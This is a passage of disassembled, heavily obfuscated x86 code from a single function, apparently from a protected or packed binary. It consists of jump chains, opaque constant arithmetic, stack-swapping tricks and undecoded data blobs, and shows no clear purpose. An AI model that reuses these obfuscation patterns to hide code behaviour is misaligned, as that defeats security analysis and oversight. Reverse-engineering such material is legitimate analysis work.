dw 5B52h dd 0FF9443E9h, 24248BFFh, 0FFE5E9E9h, 784ABEFFh, 0F2893B8Eh dd 0FF890EE9h, 241489FFh, 0FF9D0DE9h, 242C33FFh, 0F24248Bh dd 9C51C8AFh, 0FF5FA9E9h, 0E95152FFh, 0FFFFE6C4h ; --------------------------------------------------------------------------- loc_550CD8: ; CODE XREF: sub_542C3C+F660j mov ebx, esi pop esi jmp loc_54CE2B ; --------------------------------------------------------------------------- dd 0FFC0B60Fh, 56558734h, 3FCBEh, 0F3895300h, 1C8BDD89h dd 4C48324h, 5224348Bh, 0BD55E289h, 64AE5871h, 586DBE56h dd 0F52964AEh, 5DEA015Eh, 4C281h, 6DE90000h, 81FFFFAFh dd 4ECh, 240C8900h, 4EC81h, 0E9540000h, 0FFFFBC10h, 0BEE9CB89h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D37: ; CODE XREF: sub_542C3C+C7A2j and edi, edx pop edx push eax jmp loc_547A5B ; --------------------------------------------------------------------------- dd 0C7807DB7h, 0E0EF8011h, 2050B050h, 0CF8058C7h, 0E951668Dh dd 0FFFF9F9Dh ; --------------------------------------------------------------------------- loc_550D58: ; CODE XREF: sub_542C3C+96E5j push eax mov eax, ebx mov esi, eax jmp loc_550624 ; --------------------------------------------------------------------------- dw 0D6F7h dd 6856F187h, 447h, 5E240C89h, 81240C8Bh, 4C4h, 0BD28E900h dd 814AFFFFh, 66470EAh, 0A5CBE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D8A: ; CODE XREF: sub_542C3C+96D2j mov ebp, 560C4B93h and ebp, 747263B5h xor ebp, 50E773FFh add edx, ebp pop ebp add edx, ecx jmp loc_54B574 ; --------------------------------------------------------------------------- db 0B1h, 0D1h, 0F6h dd 92C180D1h, 284BF180h, 895659C8h, 6AC9E9E6h, 505FFFFFh dd 0FF7A1EE9h, 240C87FFh, 0FFEDEBE9h, 2ECE68FFh, 4890000h dd 58ACB824h, 0E0C10283h, 0C1D0F704h, 0E30502E8h, 0E9EC2FB2h dd 0FFFFC6B0h, 335BDE29h, 3E92434h, 5CFFFF7Fh, 24048B66h dd 0FFB06AE9h db 0FFh ; --------------------------------------------------------------------------- loc_550DFD: ; CODE XREF: sub_542C3C+C8B1j mov al, 24h jmp loc_54CB51 ; --------------------------------------------------------------------------- dd 14E9F189h, 66FFFFA3h, 0E951B151h, 0FFFF5EC1h, 0C281CA01h dd 36B81B85h, 0FF853BE9h, 0C8B66FFh, 0E1895124h, 4C181h dd 55570000h, 0E461C3BDh, 0BDB3E973h, 0F281FFFFh, 365656D1h dd 15AD329h, 0D066E9C3h, 3489FFFFh, 84DE924h, 585F0000h dd 34FFC821h, 0EC835924h, 24148904h, 0C281E289h, 4, 4C281h dd 14870000h, 0C0095C24h, 0FF9280E9h, 0DA0158FFh, 2414875Bh dd 1668535Ch, 0E9000038h, 0FFFF6D45h, 0FF5DE9E9h db 0FFh ; --------------------------------------------------------------------------- loc_550E91: ; CODE XREF: sub_542C3C+D161j add [esp+2Ch+var_2C], 51F107E4h jmp loc_54D15C ; --------------------------------------------------------------------------- loc_550E9D: ; CODE XREF: sub_542C3C+100B9j mov esi, 201B3B71h or ebp, esi pop esi jmp loc_548777 ; --------------------------------------------------------------------------- loc_550EAA: ; CODE XREF: sub_542C3C+9096j mov [esp+30h+var_30], edx push ebp push edx push 775407EFh pop edx push ecx mov ecx, 4A26209Eh and ecx, 61440304h dec ecx neg ecx add ecx, 7A93727h jmp loc_54C23B ; --------------------------------------------------------------------------- loc_550ECF: ; CODE XREF: sub_542C3C+DF49j jmp loc_546C7A ; --------------------------------------------------------------------------- dd 0B60F6664h, 0A4686602h, 4896614h, 5D94E924h, 0C281FFFFh dd 40F0252h, 5302EAC1h, 0FFB094E9h, 54EB8FFh, 0E9505E0Dh dd 0FFFF6E38h, 0BA241489h, 152466B8h, 1E97C281h, 0AE95D53h dd 55FFFFD9h, 0DB71C9BDh, 6ED810Fh, 0E9F701F9h, 0FFFFB04Eh dd 4EC815Ch, 89000000h, 0EC832404h, 24248904h, 4240481h dd 58000000h, 405h, 4BF5700h, 0E9000000h, 0FFFFCED4h, 5104C483h dd 5A53E668h, 240C8B56h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 add ebp, edi jmp loc_550B0C ; --------------------------------------------------------------------------- loc_550F6E: ; CODE XREF: sub_542C3C+6658j push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp+30h+var_30] mov esp, [esp+30h+var_30] push eax mov eax, esp push edi jmp loc_54A0C2 ; --------------------------------------------------------------------------- dd 814ADAF7h, 8161CAC2h, 5AD02167h, 0DB2DD0F7h, 81DC7EFFh dd 0D8553AC2h, 0E9C20143h, 0FFFFD4B0h ; --------------------------------------------------------------------------- loc_550FAC: ; CODE XREF: sub_542C3C+C41Fj or eax, eax jmp loc_54CC86 ; --------------------------------------------------------------------------- db 0ACh dd 6866D830h, 8966143Ah, 0B652240Ch, 7B39E961h, 433FFFFh dd 4D35C24h, 17E99C24h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550FD3: ; CODE XREF: sub_542C3C+A807j pop esi jmp loc_54FC30 ; --------------------------------------------------------------------------- loc_550FD9: ; CODE XREF: sub_542C3C+DBAAj pop ecx sub esp, 4 jmp loc_551826 ; --------------------------------------------------------------------------- db 1, 0EAh, 5Dh dd 3A6B68h, 60F0E900h, 8359FFFFh, 148704C2h, 0C1835C24h dd 240C3302h, 0E9240C31h, 0FFFF7BB3h ; --------------------------------------------------------------------------- loc_551008: ; CODE XREF: sub_542C3C+B4F4j xor edi, eax pop eax xor esi, edi pop edi and esi, 15A63FE9h xor esi, 405355B3h xor eax, esi mov esi, [esp+18h+var_18] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+1Ch+var_1C] pop esp push 66A1h mov [esp+1Ch+var_1C], esi push ecx mov ecx, 1EF653C4h jmp loc_549D30 ; --------------------------------------------------------------------------- db 5Dh, 89h, 0D5h dd 5A2434FFh, 0E904C483h, 0FFFFE305h, 3CE9028Fh, 81FFFF68h dd 466243C6h, 81D60174h, 466243EEh, 52535A74h, 2BAh, 5AD38900h dd 4112EE81h, 0EE816A3Eh, 19F90201h, 0C681DE01h, 19F90201h dd 4112C681h, 34FF6A3Eh, 155FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551096: ; CODE XREF: sub_542C3C+E97Cj mov ecx, 4056318h jmp loc_54CD14 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_551B93 ; --------------------------------------------------------------------------- db 1 dd 0E3E95DE9h, 66FFFFD0h, 0E956D831h, 0FFFFD98Eh, 8124148Bh dd 4C4h, 0E9505500h, 0C88h, 34FFFA89h, 0C4815F24h, 4, 0EB4C681h dd 0F2E9236Bh, 29000005h, 0FD5E59CFh, 0A68h, 2434FF00h dd 980FE959h, 0E2D0FFFFh, 0CAFEC2FEh, 0FF6405E9h db 0FFh ; --------------------------------------------------------------------------- loc_551101: ; CODE XREF: sub_542C3C+95E7j mov ebx, esp push ebx jmp loc_546FB9 ; --------------------------------------------------------------------------- loc_551109: ; CODE XREF: sub_542C3C+CC87j mov ecx, 2AE37888h xor ecx, ebp jmp loc_5481A8 ; --------------------------------------------------------------------------- loc_551115: ; CODE XREF: sub_542C3C+9089j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+2Ch+var_2C] pop esp sub esp, 4 mov [esp+2Ch+var_2C], esi jmp loc_54A800 ; --------------------------------------------------------------------------- db 29h dd 0FEC281F2h, 8B003F5Fh, 7E92434h, 81FFFFAFh, 4C4h, 240C3100h dd 0E9240C33h, 0FFFF7CCBh, 4B8h, 0E9C50100h, 0FFFF9D2Bh ; --------------------------------------------------------------------------- loc_55115C: ; CODE XREF: sub_542C3C+FC7Cj mov esi, 51985192h push edi mov edi, 59D52862h shl edi, 6 push esi mov esi, 19BF4447h xor esi, 19C56537h add esi, 384E2285h neg esi inc esi neg esi xor esi, 7911387Dh or edi, esi pop esi jmp loc_54C431 ; --------------------------------------------------------------------------- loc_55118F: ; CODE XREF: sub_542C3C+81BAj pop ebp neg esi sub esi, 282815DEh add edi, esi pop esi jmp loc_54D52D ; --------------------------------------------------------------------------- loc_5511A0: ; CODE XREF: sub_542C3C+E889j shr edx, 1 cmp eax, edx jmp loc_552CD0 ; --------------------------------------------------------------------------- db 83h, 0EFh, 4 dd 0FF9B00E9h db 0FFh ; --------------------------------------------------------------------------- loc_5511B1: ; CODE XREF: sub_542C3C+F492j xor edi, 170C30CDh mov edx, edi mov edi, [esp+1Ch+var_1C] sub esp, 4 mov [esp+20h+var_20], ebx push 67BCh push esp pop [esp+28h+var_28] add [esp+24h+var_24], 4 jmp loc_54EB05 ; --------------------------------------------------------------------------- db 58h dd 0C8BEB00h, 4C48324h, 6FBA6853h, 1C8B0B3Dh, 4C48324h dd 508ABE56h, 0EEC1223Eh, 0F6E68105h, 533B1F38h, 3D1562BBh dd 0F7DBF715h, 0B523E9D3h, 48BFFFFh, 4C48324h, 7B8DC381h dd 0D3293CD9h, 7B8DEB81h, 0C0683CD9h, 8900006Eh, 28B82404h dd 8134AB6Dh, 7413B5EBh, 81C3290Bh, 7413B5C3h, 148B580Bh dd 4C48324h, 665DEB81h, 0DF01973Eh, 0FA92E95Bh, 0B65BFFFFh dd 59EE00F6h, 0FFF263E9h db 0FFh ; --------------------------------------------------------------------------- loc_551259: ; CODE XREF: sub_542C3C+D5CFj pop edi push ecx jmp loc_5489BF ; --------------------------------------------------------------------------- dd 243C335Eh, 33243C31h, 665C243Ch, 0E9240489h, 0FFFF5A06h ; --------------------------------------------------------------------------- loc_551274: ; CODE XREF: sub_542C3C+551Cj push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp+38h+var_38] jmp loc_54CA52 ; --------------------------------------------------------------------------- db 50h dd 0EC6805B8h, 58C6895Bh, 295EF129h, 0BAD7E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55129E: ; CODE XREF: sub_542C3C+6D52j pop esi add esp, 4 loc_5512A2: ; CODE XREF: sub_542C3C+4D3Dj sub esp, 4 jmp loc_54E57C ; --------------------------------------------------------------------------- loc_5512AA: ; CODE XREF: sub_542C3C+55CFj xor [esp+34h+var_30], esi jmp loc_55150A ; --------------------------------------------------------------------------- db 8Fh dd 0BFE94047h, 8BFFFF59h, 45E9240Ch, 88FFFF6Ah, 40E95AF4h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_5512CB: ; CODE XREF: sub_542C3C+55E7j and esi, 78E67F1Eh xor esi, 455C4D3Eh add ebx, esi pop esi sub ebx, eax sub ebx, 351A4D2Ch jmp loc_54DED0 ; --------------------------------------------------------------------------- loc_5512E7: ; CODE XREF: sub_542C3C+DB50j add [esp+24h+var_20], eax mov eax, [esp+24h+var_24] jmp loc_549279 ; --------------------------------------------------------------------------- db 31h dd 0F38159CBh, 0B13D96B6h, 7234B951h, 0F1816EFCh, 736073C0h dd 4210E181h, 0D1F72F8Dh, 0B6FE9h, 0F9015D00h, 78C36857h dd 0DBE918D9h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551323: ; CODE XREF: sub_542C3C+997Dj push 2B4Fh mov [esp+3Ch+var_3C], eax xor [esp+3Ch+var_3C], edi xor edi, [esp+3Ch+var_3C] xor [esp+3Ch+var_3C], edi sub esp, 4 mov [esp+40h+var_40], edi xchg eax, [esp+40h+var_40] jmp loc_5524C8 ; --------------------------------------------------------------------------- loc_551345: ; CODE XREF: sub_542C3C+B3E3j xor ecx, 0AF74AB2h mov edx, ecx pop ecx neg edx sub edx, 0ED779882h add ebp, 28C161CDh add ebp, 177D1082h add ebp, edx sub ebp, 177D1082h sub ebp, 28C161CDh pop edx xor ebp, [esp+44h+var_44] xor [esp+44h+var_44], ebp xor ebp, [esp+44h+var_44] mov esp, [esp+44h+var_44] jmp loc_54C53B ; --------------------------------------------------------------------------- dw 0C231h dd 0FFC21FE9h, 0F665CFFh, 9C2404A3h, 0FF58E5E9h, 241C33FFh dd 5024248Bh, 405E089h, 83000000h, 48704C0h, 34FF5C24h dd 0EC835924h, 242C8904h, 68535D54h, 4, 0E9DD015Bh, 0FFFFD64Dh ; --------------------------------------------------------------------------- loc_5513C4: ; CODE XREF: sub_542C3C+98E1j and ecx, 2FA7597Dh jmp loc_54B5E9 ; --------------------------------------------------------------------------- db 5Fh dd 31240433h, 4332404h, 24248B24h, 0E902EC83h, 0FFFFD55Ch dd 54240C89h, 4C18159h, 57000000h, 2BFh, 5FF92900h, 31240C33h dd 0C33240Ch, 89665C24h, 6FE92404h, 88FFFF58h, 8147E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551412: ; CODE XREF: sub_542C3C+D7B5j xor edi, 112D4521h inc edi push ebp mov ebp, 60305EFh xor edi, ebp pop ebp jmp loc_5518F2 ; --------------------------------------------------------------------------- loc_551427: ; CODE XREF: sub_542C3C+B6C9j inc ebp neg ebp jmp loc_549A91 ; --------------------------------------------------------------------------- db 9 dd 0EEE95DEBh, 83FFFF89h, 21E904C4h, 0B9FFFF9Ah, 4A3F5C5Dh dd 8159CD09h, 765E47EDh, 70926842h, 34890000h, 0A134BE24h dd 0F5292949h, 0F1C1815Eh, 131D340h, 0F120E9E9h, 0EC81FFFFh dd 4, 0E9241C89h, 0FFFFE2D7h, 30EE81ADh, 0E9784E1Ch, 0FFFF6E1Bh ; --------------------------------------------------------------------------- loc_551484: ; CODE XREF: sub_542C3C+4116j xor edx, eax jmp loc_54DF07 ; --------------------------------------------------------------------------- db 81h dd 3779E1C6h, 8C6815Eh, 81912AD5h, 802467C5h, 81F5012Eh dd 802467EDh, 24348B2Eh, 4C481h, 2CE90000h, 81000012h dd 86CDA6EAh, 5AD189CEh, 3DE9CA89h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514C3: ; CODE XREF: sub_542C3C+8167j or ebx, ebx jnz loc_5511A0 push 3B0Eh mov [esp+28h+var_28], ecx mov ecx, 20h add ecx, edi jmp loc_54FD2E ; --------------------------------------------------------------------------- db 1 dd 3CD2DF0h, 348B66CFh, 4C48124h, 0E9000000h, 0FFFF80F7h dd 0A1E9CA01h, 51FFFF5Fh, 5B7AB966h, 13C98166h, 6951E97Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55150A: ; CODE XREF: sub_542C3C+E672j mov esi, [esp+34h+var_34] add esp, 4 mov eax, [esp+30h+var_30] jmp loc_5481C0 ; --------------------------------------------------------------------------- loc_55151B: ; CODE XREF: sub_542C3C+9F63j mov esi, 4 add edi, esi pop esi xor edi, [esp+30h+var_30] xor [esp+30h+var_30], edi jmp loc_55164D ; --------------------------------------------------------------------------- loc_55152E: ; CODE XREF: sub_542C3C+C74Ej push edx mov edx, 0D820FFAh jmp loc_54ED3B ; --------------------------------------------------------------------------- loc_551539: ; CODE XREF: sub_542C3C+D9E9j mov ebx, [esp+24h+var_24] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+28h+var_28] pop esp add eax, esi pop esi push 7C6Bh mov [esp+24h+var_24], edi mov edi, 7C9C0A0Eh jmp loc_548C0C ; --------------------------------------------------------------------------- dd 5F2434FFh, 0FF937EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55156D: ; CODE XREF: sub_542C3C+8AB8j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_54D2B2 ; --------------------------------------------------------------------------- loc_551580: ; CODE XREF: sub_542C3C+6A0Aj push edx pop eax pop edx push 709Ch jmp loc_54FCF6 ; --------------------------------------------------------------------------- db 1, 0C3h, 0E9h dd 13B7h, 4C481h, 2050000h, 33000000h, 4312404h, 24043324h dd 148B665Ch, 17B46824h, 5EE90000h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5515B7: ; CODE XREF: sub_542C3C+1038Ej push ecx jmp loc_551096 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0BE560000h, 62CD73F2h, 0FF7CF8E9h, 4860BFFFh, 0C7814B76h dd 0D6CC0D88h, 0E4766B05h, 2DF8012Eh, 2EE4766Bh, 5F2434FFh dd 0E904C483h, 0FFFFB43Eh, 8904EC83h, 86BA2414h, 0C1223E42h dd 0EAC102EAh, 7EAC105h, 0F281DAF7h, 0FFFF7703h, 0E95AD501h dd 126Eh, 242C895Ch, 4EC81h, 0FE90000h, 31FFFF8Ah, 51CD31E9h dd 0C7B91B9h, 81D9F718h, 0B57D31E9h, 0D1F74948h, 0FF642EE9h dd 2434FFFFh, 0B326E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551646: ; CODE XREF: sub_542C3C+10196j pop ebx push edx jmp loc_54E26C ; --------------------------------------------------------------------------- loc_55164D: ; CODE XREF: sub_542C3C+E8EDj xor edi, [esp+30h+var_30] jmp loc_55006D ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 5C241C87h, 4EC81h, 34890000h, 0BD555024h, 70556C2Dh dd 0E5C1D5F7h, 0BCB85004h, 51F7E53h, 423B06CAh, 48FFC083h dd 281F7425h, 0B7532D54h, 0C509E67Ah, 968E9h, 0B0C68100h dd 0C157380Fh, 0BE904E6h, 0BEFFFFA6h, 4, 0E95EF501h, 0FFFFCADDh dd 4C78359h, 2474FF57h, 5C93E904h, 0C381FFFFh, 4, 5C241C87h dd 2474FF51h, 48F5904h, 24248B24h, 0FFE803E9h, 81D629FFh dd 6B0EB4EEh, 19E95A23h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5516E3: ; CODE XREF: sub_542C3C+8947j mov ebx, [esp+3Ch+var_3C] add esp, 4 xchg edx, [esp+38h+var_38] jmp loc_54FFA5 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 9119E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5516FA: ; CODE XREF: sub_542C3C+907Dj mov ecx, esp push edi mov edi, 7D142242h jmp loc_54A072 ; --------------------------------------------------------------------------- loc_551707: ; CODE XREF: sub_542C3C+FD57j add edx, 54B8758Fh pop edi push edi mov edi, 4 add edx, edi jmp loc_54E949 ; --------------------------------------------------------------------------- db 83h dd 348904ECh, 68F46824h, 0CDE90000h, 58FFFFE2h, 0F6F0B753h dd 80D7F6DFh, 0EFC051EFh, 3F78006h, 0E95BFD28h, 0FFFF9309h dd 15AD029h, 45AE05D8h, 7DE97C99h, 81FFFFB5h, 4C3h, 0FF5CE900h dd 17E9FFFFh, 47FFFF55h, 0D926EF81h, 7FE902DFh, 66FFFF7Fh dd 5124048Bh, 0FFA7EDE9h, 0E9E589FFh, 0FFFFC576h, 0E0CCC281h dd 0D029DA36h, 8124148Bh, 4C4h, 25A0500h, 0E8010BB5h, 25ABE56h dd 0F0290BB5h, 8124348Bh, 4C4h, 4EC8100h, 0E9000000h, 0FFFF9622h dd 82B1F2B7h, 505BF928h, 0E288CC88h, 0B4505958h, 42CC8073h dd 0FFE5D5E9h, 81D6F7FFh, 434942EEh, 0D6EE810Ah, 1F4DD91h dd 0E9835EF1h, 8282E904h, 574AFFFFh, 7AEEA9BFh, 0FFFA3195h dd 835F2434h, 0EE8104C4h, 63D2C91h, 9E9D629h, 53FFFF66h dd 0BD555B54h, 24B1160Eh, 79EEED81h, 0DDF75F6Dh, 5688E94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55181A: ; CODE XREF: sub_542C3C+49D5j pop edi xor edi, 8C051166h jmp loc_547041 ; --------------------------------------------------------------------------- loc_551826: ; CODE XREF: sub_542C3C+E3A4j mov [esp+2Ch+var_2C], edi mov edi, 0DB25C3Eh push edi not [esp+30h+var_30] pop edi shr edi, 5 push 0 push edi mov edi, 59C96A91h sub [esp+34h+var_30], edi pop edi sub [esp+30h+var_30], edi add [esp+30h+var_30], 59C96A91h pop edi sub edi, 0F86D52E2h jmp loc_54C868 ; --------------------------------------------------------------------------- dd 2A3868h, 24148900h, 7CE991B2h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55186B: ; CODE XREF: sub_542C3C+102C0j push [esp+2Ch+var_2C] pop ecx jmp loc_54C108 ; --------------------------------------------------------------------------- dd 47E9C201h, 29FFFFE1h, 0F0C7E9F8h, 5755FFFFh, 563F12BFh dd 8E7C15Ah, 6DE7814Fh, 0C15BA245h, 0CF8108E7h, 1CE71CD6h dd 0FFE062E9h db 0FFh ; --------------------------------------------------------------------------- loc_5518A1: ; CODE XREF: sub_542C3C+DF5Ej add bl, al pop eax sub al, 0CAh sub al, bl add al, 0CAh pop ebx jmp loc_54E388 ; --------------------------------------------------------------------------- dd 4393D0F7h, 684BBD55h, 12E972E7h, 33FFFF64h, 34312434h dd 24343324h, 2404FE5Ch, 53A8E99Ch, 0F001FFFFh, 8124348Bh dd 4C4h, 24048700h, 0AB0F665Ch, 0E99C2404h, 0FFFF538Eh dd 16BAE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5518F2: ; CODE XREF: sub_542C3C+E7E6j xor edi, 142821A3h xor edi, 2B4B73BBh add esi, edi pop edi xor esi, [esp+30h+var_30] xor [esp+30h+var_30], esi xor esi, [esp+30h+var_30] mov esp, [esp+30h+var_30] or edx, eax shl edx, 1 jmp loc_54BD7C ; --------------------------------------------------------------------------- dw 0C884h dd 535CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55191E: ; CODE XREF: sub_542C3C+F7F3j push [esp+30h+var_30] jmp loc_54F22A ; --------------------------------------------------------------------------- dw 0C15Eh dd 534206E2h, 597915BBh, 5BDA0944h, 0D653F281h, 6E9DCBAh dd 0F7FFFF66h, 7B43E9D6h, 8B54FFFFh, 0C481241Ch, 4, 4C381h dd 94680000h, 89000001h, 4B9240Ch, 1000000h, 1C3359CBh dd 241C3124h, 0FFFA24E9h db 0FFh ; --------------------------------------------------------------------------- loc_551971: ; CODE XREF: sub_542C3C+4135j pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+30h+var_30] pop esp push ebp mov ebp, 4 add eax, 1324C04h add eax, ebp sub eax, 1324C04h jmp loc_5473C1 ; --------------------------------------------------------------------------- dw 0EF81h dd 4, 0FF763BE9h, 80E600FFh, 5866FDEEh, 8EC180h, 8EE980F1h dd 0C0E1805Ah, 0C006E9C0h, 44E907E9h, 30FFFFD5h, 240C8BCFh dd 0FF9463E9h, 34E956FFh db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5519CF: ; CODE XREF: sub_542C3C+BB47j mov eax, ecx mov ecx, [esp+30h+var_30] add esp, 4 shl eax, 1 sub eax, 0FFFFFFFFh push edx mov edx, 36A53E8Eh sub edx, 0C42DF58Ah sub eax, edx pop edx mov ebx, eax pop eax mov esi, ebx mov ebx, [esp+28h+var_28] add esp, 4 and eax, esi jmp loc_54E6E0 ; --------------------------------------------------------------------------- loc_5519FD: ; CODE XREF: sub_542C3C+F4D9j pop edi add ebx, 9C35540h sub ebx, esi sub ebx, 9C35540h sub ebx, 4F225E60h mov esi, [esp+20h+var_20] add esp, 4 sub esp, 4 mov [esp+20h+var_20], ebx push eax jmp loc_54D353 ; --------------------------------------------------------------------------- dw 0E831h dd 0A2E9815Dh, 55522D13h, 7D2488BDh, 7E5C142h, 0FFE436E9h dd 242489FFh, 0FF6A75E9h, 0C30058FFh, 6618C380h, 0DFAAE951h dd 665CFFFFh, 0B2241489h, 1BB55158h, 0C0FFC580h, 0ED8004E5h dd 0B551534Bh, 0FEDDF613h, 8EDC0C5h, 0FF90B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_551A79: ; CODE XREF: sub_542C3C+944Dj push eax push edi mov edi, 0F22EBB23h mov eax, edi mov edi, [esp+38h+var_38] add esp, 4 sub edx, eax pop eax mov ebx, edx mov edx, [esp+30h+var_30] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+34h+var_34] jmp loc_54D80B ; --------------------------------------------------------------------------- db 66h dd 81241C8Bh, 2C4h, 0DAB55100h, 0FFE4D1E9h, 0C0B60FFFh dd 6887048Dh, 758Bh, 0E9240489h, 0FFFF51AEh, 0E4395BAh dd 8D80E92Ch, 0F386FFFFh, 0FFA40FE9h, 0D7B151FFh, 8090C180h dd 0E9C001C1h, 9C18004h, 5325F180h, 88C88850h, 0FA8858C7h dd 2434FF5Bh, 4C48359h, 2EC81h, 89660000h, 17B1240Ch, 5966C800h dd 172CD028h, 0FFE741E9h db 0FFh ; --------------------------------------------------------------------------- loc_551B19: ; CODE XREF: sub_542C3C+B4EAj push [esp+2Ch+var_2C] pop eax push ecx jmp loc_549435 ; --------------------------------------------------------------------------- loc_551B23: ; CODE XREF: sub_542C3C+F78Cj mov eax, 0 add eax, edx mov ecx, [eax] jmp loc_5528BD ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0E2895224h, 0FF5779E9h, 31FE31FFh, 81FE31F7h, 9C745BEEh dd 0C87AE9DDh, 22BDFFFFh, 0E9255234h, 0FFFFE60Ch ; --------------------------------------------------------------------------- loc_551B58: ; CODE XREF: sub_542C3C+C742j mov [esp+34h+var_34], ecx mov eax, [esp+34h+var_34] jmp loc_54B3A0 ; --------------------------------------------------------------------------- db 0ACh dd 0B652D830h, 50CEFE72h, 2FE96FB4h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551B73: ; CODE XREF: sub_542C3C+5F97j pop eax pop dword ptr [eax] jmp loc_546C7A ; --------------------------------------------------------------------------- db 5Fh dd 0A57BBA58h, 0EA81CDDBh, 26377BA1h, 1B85EA81h, 81E936B8h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551B93: ; CODE XREF: sub_542C3C+E46Aj add ebp, 4 add ebp, 4 jmp loc_5485CB ; --------------------------------------------------------------------------- dd 55243489h, 0E82E9368h, 0BACAE922h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551BB2: ; CODE XREF: sub_542C3C+C022j mov [esp+30h+var_30], ebx push edx jmp loc_54C082 ; --------------------------------------------------------------------------- db 8Bh dd 2CD32424h, 0B3E99C24h, 1FFFF50h, 84EB81FBh, 81756C3Eh dd 0F3E1AC3h, 0E9565F07h, 0FFFF729Eh, 4C681h, 0C6830000h dd 24348704h, 6824248Bh, 0CE7h, 50240C89h, 0A732E956h dd 3FBEFFFFh, 104BA2Ah, 0C3295EF0h, 0FFD718E9h, 506CE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551C0E: ; CODE XREF: sub_542C3C+B60Ej push 75F7h mov [esp+38h+var_38], ebx push 7712h jmp loc_548203 ; --------------------------------------------------------------------------- dd 2C1BB850h, 35481952h, 6EE9433Eh, 8158C701h, 0C1CD2C7h dd 47D7F747h, 0FF602BE9h, 665F66FFh, 20E9FE21h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551C47: ; CODE XREF: sub_542C3C+556Dj and ecx, 614C1FE7h jmp loc_552BD9 ; --------------------------------------------------------------------------- dw 2C89h dd 34FF5424h, 89525D24h, 4C281E2h, 57000000h, 0AE3988BFh dd 0C46AE92Eh, 8159FFFFh, 0E2431EF5h, 5DEB2972h, 7BA685Ah dd 51E90000h, 66FFFFDEh, 57240C8Bh, 0FFD2B6E9h, 4FE8E9FFh dd 3C8BFFFFh, 4C48124h, 50000000h, 4B8h, 8BC30100h, 0C4832404h dd 241C3304h, 33241C31h, 248B241Ch, 2434FF24h, 65816859h dd 34890000h, 4EC8324h, 0FF6BEDE9h, 243C33FFh, 33243C31h dd 895C243Ch, 80BD242Ch, 5318B859h, 0FFAED2E9h, 38C581FFh dd 0E90BC925h, 0FFFFAB31h, 80C8B753h, 0B1517BF7h, 0F65166FBh dd 59662414h, 0FFDF58E9h, 0C8B66FFh, 4EC8324h, 54240489h dd 7742E958h, 0E801FFFFh, 2404875Dh, 6624248Bh, 6824048Bh dd 0AAEh, 0E9241C89h, 12A3h, 5966EB00h, 0A7B45066h, 4EB80h dd 4C380E3h, 0EB805866h, 80C30085h, 0EB8085C3h, 44EB80A7h dd 0E906C380h, 0FFFFFD65h, 377A1DB8h, 70E7BD69h, 13E9707Ah dd 81FFFFACh, 0E90AAAEAh, 0E9C22905h, 0FFFFB6E8h, 13E95550h dd 43FFFF92h, 7C42EB81h, 0D8213234h, 5B2434FFh, 0FFEA3CE9h dd 4AEB81FFh, 12A8E68h, 0B95157C3h, 0FEB2D09h, 24E9CF89h dd 5EFFFFECh, 2842E981h, 0F9014A3Eh, 2842C181h, 0F5E94A3Eh db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551DB3: ; CODE XREF: sub_542C3C+CC67j mov ecx, 800h and eax, ecx jmp loc_54FC22 ; --------------------------------------------------------------------------- db 0FEh dd 9C580CDh, 0E580CDFEh, 902DE93Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551DCE: ; CODE XREF: sub_542C3C+CA08j mov eax, [esp+30h+var_30] jmp loc_54E7B4 ; --------------------------------------------------------------------------- loc_551DD6: ; CODE XREF: sub_542C3C+C91Dj mov edi, [esp+30h+var_30] add esp, 4 jmp loc_549AF8 ; --------------------------------------------------------------------------- dd 4C681h, 0E4E90000h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551DEF: ; CODE XREF: sub_542C3C+48F3j pop ecx add esp, 4 push ecx mov ecx, 0FEC22CC2h sub esi, 30B91E3Dh sub esi, ecx add esi, 30B91E3Dh pop ecx sub ebx, 634F7BF6h add ebx, 4710721Dh sub ebx, esi sub ebx, 4710721Dh add ebx, 634F7BF6h 